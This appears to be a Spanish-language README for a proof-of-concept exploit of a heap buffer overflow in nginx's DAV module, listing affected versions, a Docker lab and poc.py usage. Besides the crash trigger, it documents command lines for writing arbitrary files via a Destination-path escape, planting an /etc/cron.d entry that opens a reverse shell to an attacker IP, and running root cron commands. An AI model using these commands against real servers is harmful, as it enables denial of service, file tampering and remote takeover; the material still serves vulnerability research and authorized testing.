
NGINX `ngx_http_dav_module` Heap Buffer Overflow mediante `size_t` Underflow (Remote DoS / Potential RCE)
NGINX ngx_http_dav_module Desbordamiento de búfer en el montón mediante subdesbordamiento de size_t (Denegación de servicio remota / Potencial ejecución remota de código)
ngx_http_dav_copy_move_handler() en src/http/modules/ngx_http_dav_module.c calcula la longitud de la URI de destino restando la longitud del prefijo de ubicación del componente de ruta URI del encabezado Destination. Ambos valores son size_t (64 bits sin signo). Cuando la ruta de destino es más corta que el prefijo de ubicación, la resta se envuelve a ~0, produciendo una longitud masiva de memcpy que desborda una asignación de montón de 7 bytes y bloquea el proceso trabajador.
Una sola solicitud MOVE o COPY manipulada a una ubicación DAV mapeada con alias desencadena el desbordamiento. El proceso maestro de nginx reinicia el trabajador, pero las solicitudes repetidas mantienen el servidor en un bucle continuo de fallos.
ASan confirma: negative-size-param: (size=-7) en memcpy en ngx_http_core_module.c:1949, llamado desde ngx_http_dav_copy_move_handler.
Afectados: nginx 0.5.13 hasta 1.28.2 (estable) y 1.29.0 hasta 1.29.6 (principal), compilado con --with-http_dav_module y usando alias en la ubicación DAV. Corregido en 1.28.3 / 1.29.7 (commit ab4b5b8, PR #1210).
# Docker (recomendado -- compila nginx vulnerable desde la fuente):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Nativo (compila nginx 1.28.2 desde la fuente, sin Docker):
./run.sh # compilación sin ASan (observa el fallo SIGSEGV)
./run.sh --asan # compilación ASan (prueba definitiva)
./run.sh --both # ejecuta ambos secuencialmente
# Contra una instancia nginx vulnerable existente:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # si el archivo desencadenante ya existe
python3 poc.py --target <HOST:PORT> --verbose
El modo predeterminado sigue siendo el desencadenante canónico del fallo. Envía PUT seguido de un MOVE manipulado cuya ruta Destination es más corta que el prefijo de ubicación DAV:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
Para configuraciones de laboratorio autorizadas donde el manejo del destino DAV permite un escape de destino relativo, la misma herramienta puede entregar contenido controlado por el atacante a una ruta elegida. El prefijo --location-prefix, --escape-depth y la ruta de destino exactos deben provenir de su propia configuración de servicio y reconocimiento:
# Escribir contenido literal en una ruta elegida a través del manejo de destino COPY/MOVE.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# Escribir bytes desde un archivo local.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# Entregar una entrada de cron que abre una shell inversa.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# Entregar un comando de cron de una sola ejecución para prueba autorizada no interactiva.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell y cron-cmd son ayudantes de entrega genéricos para entornos autorizados con una fuente DAV escribible y un escape de ruta de destino. No son necesarios para probar el fallo canónico de desbordamiento de montón.
--with-http_dav_module, bloque de ubicación usando alias (no root), dav_methods incluye COPY o MOVErequests cuando está disponible, de lo contrario el PoC recurre a la biblioteca estándar de Python para objetivos HTTP simples.gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget| Archivo | Descripción |
|---|---|
poc.py | PoC en Python: desencadenante canónico de fallo más modos genéricos de destino COPY/MOVE |
run.sh | Compila nginx desde la fuente (ASan / sin ASan) y ejecuta el PoC |
Dockerfile | Compilación en múltiples etapas de nginx vulnerable 1.28.2 |
docker-compose.yml | Configuración Docker con un solo comando |
nginx.conf | Configuración vulnerable (alias + dav_methods COPY MOVE) |
proof_output.txt | Salida de ASan de verificación en vivo |
Este proyecto se publica bajo la GNU GPLv3.
Se proporciona para investigación de seguridad defensiva, educación y pruebas autorizadas. No utilice este código contra sistemas o servicios sin permiso explícito del propietario.
El uso no autorizado puede violar la ley aplicable. Los autores no otorgan permiso para probar sistemas de terceros y no son responsables del mal uso.
Consulte el archivo LICENSE para conocer los términos de garantía y responsabilidad.